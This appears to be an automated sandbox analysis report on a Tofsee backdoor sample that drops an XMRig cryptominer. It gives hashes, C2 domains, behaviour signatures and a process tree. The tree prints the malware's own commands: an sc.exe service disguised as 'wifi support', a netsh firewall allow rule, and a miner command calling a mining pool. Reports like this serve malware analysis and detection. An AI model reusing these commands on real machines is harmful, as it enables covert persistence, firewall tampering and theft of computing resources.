Resubmissions

08-05-2023 12:04

230508-n83alscc6v 10

14-02-2023 12:24

230214-pljenacf6s 1

14-02-2023 12:00

230214-n6rq4adb47 10

14-02-2023 11:52

230214-n1s2zace3s 10

24-01-2023 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    67s
  • max time network
    69s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-01-2023 09:45

General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sndofcxh\
      2⤵
        PID:636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qbxctmyn.exe" C:\Windows\SysWOW64\sndofcxh\
        2⤵
          PID:1212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sndofcxh binPath= "C:\Windows\SysWOW64\sndofcxh\qbxctmyn.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1132
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sndofcxh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sndofcxh
          2⤵
          • Launches sc.exe
          PID:1656
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1556
      • C:\Windows\SysWOW64\sndofcxh\qbxctmyn.exe
        C:\Windows\SysWOW64\sndofcxh\qbxctmyn.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1404
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1164
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1700
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef71b4f50,0x7fef71b4f60,0x7fef71b4f70
          2⤵
            PID:360
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1104 /prefetch:2
            2⤵
              PID:316
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1316 /prefetch:8
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:848
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1840 /prefetch:8
              2⤵
                PID:1404
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2080 /prefetch:1
                2⤵
                  PID:268
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2056 /prefetch:1
                  2⤵
                    PID:636
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:8
                    2⤵
                      PID:2144
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3276 /prefetch:2
                      2⤵
                        PID:2216
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
                        2⤵
                          PID:2260
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3516 /prefetch:8
                          2⤵
                            PID:2320
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1092,6097012398205277580,2937209327419713255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3620 /prefetch:8
                            2⤵
                              PID:2356

                          Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\qbxctmyn.exe

                            Filesize

                            12.5MB

                            MD5

                            58c278e72b4d3c33a5d9cb8986bc420e

                            SHA1

                            656d7d6d514216479453d08a2910c060fb4ebf1b

                            SHA256

                            b333d26d379e28ec477d6e92eaa97be3500aa2740a843a1f1249e51cce866874

                            SHA512

                            dbd64d8e69ee07dfc728a8ce29d9e9e15706a34833e36e614097471b4414c99c34aceec1aa3c762e905965490aefbd0f01528fc10d0073b722e8e3a43e961bad

                          • C:\Windows\SysWOW64\sndofcxh\qbxctmyn.exe

                            Filesize

                            12.5MB

                            MD5

                            58c278e72b4d3c33a5d9cb8986bc420e

                            SHA1

                            656d7d6d514216479453d08a2910c060fb4ebf1b

                            SHA256

                            b333d26d379e28ec477d6e92eaa97be3500aa2740a843a1f1249e51cce866874

                            SHA512

                            dbd64d8e69ee07dfc728a8ce29d9e9e15706a34833e36e614097471b4414c99c34aceec1aa3c762e905965490aefbd0f01528fc10d0073b722e8e3a43e961bad

                          • \??\pipe\crashpad_1812_LHHJSWNIXKXULEAD

                            MD5

                            d41d8cd98f00b204e9800998ecf8427e

                            SHA1

                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                            SHA256

                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                            SHA512

                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                          • memory/364-62-0x0000000000000000-mapping.dmp

                          • memory/636-55-0x0000000000000000-mapping.dmp

                          • memory/1132-61-0x0000000000000000-mapping.dmp

                          • memory/1164-70-0x0000000000080000-0x0000000000095000-memory.dmp

                            Filesize

                            84KB

                          • memory/1164-95-0x0000000000670000-0x0000000000677000-memory.dmp

                            Filesize

                            28KB

                          • memory/1164-107-0x0000000000080000-0x0000000000095000-memory.dmp

                            Filesize

                            84KB

                          • memory/1164-92-0x0000000005490000-0x000000000589B000-memory.dmp

                            Filesize

                            4.0MB

                          • memory/1164-89-0x0000000000520000-0x0000000000525000-memory.dmp

                            Filesize

                            20KB

                          • memory/1164-86-0x0000000000260000-0x0000000000270000-memory.dmp

                            Filesize

                            64KB

                          • memory/1164-83-0x00000000001D0000-0x00000000001D6000-memory.dmp

                            Filesize

                            24KB

                          • memory/1164-80-0x0000000001970000-0x0000000001B7F000-memory.dmp

                            Filesize

                            2.1MB

                          • memory/1164-79-0x0000000000080000-0x0000000000095000-memory.dmp

                            Filesize

                            84KB

                          • memory/1164-72-0x0000000000080000-0x0000000000095000-memory.dmp

                            Filesize

                            84KB

                          • memory/1164-73-0x0000000000089A6B-mapping.dmp

                          • memory/1212-59-0x0000000000000000-mapping.dmp

                          • memory/1404-76-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/1404-74-0x000000000060B000-0x000000000061C000-memory.dmp

                            Filesize

                            68KB

                          • memory/1556-65-0x0000000000000000-mapping.dmp

                          • memory/1656-63-0x0000000000000000-mapping.dmp

                          • memory/1700-98-0x00000000001F0000-0x00000000002E1000-memory.dmp

                            Filesize

                            964KB

                          • memory/1700-100-0x00000000001F0000-0x00000000002E1000-memory.dmp

                            Filesize

                            964KB

                          • memory/1700-105-0x000000000028259C-mapping.dmp

                          • memory/2040-57-0x0000000000230000-0x0000000000243000-memory.dmp

                            Filesize

                            76KB

                          • memory/2040-66-0x000000000057B000-0x000000000058C000-memory.dmp

                            Filesize

                            68KB

                          • memory/2040-67-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/2040-54-0x00000000760B1000-0x00000000760B3000-memory.dmp

                            Filesize

                            8KB

                          • memory/2040-58-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/2040-56-0x000000000057B000-0x000000000058C000-memory.dmp

                            Filesize

                            68KB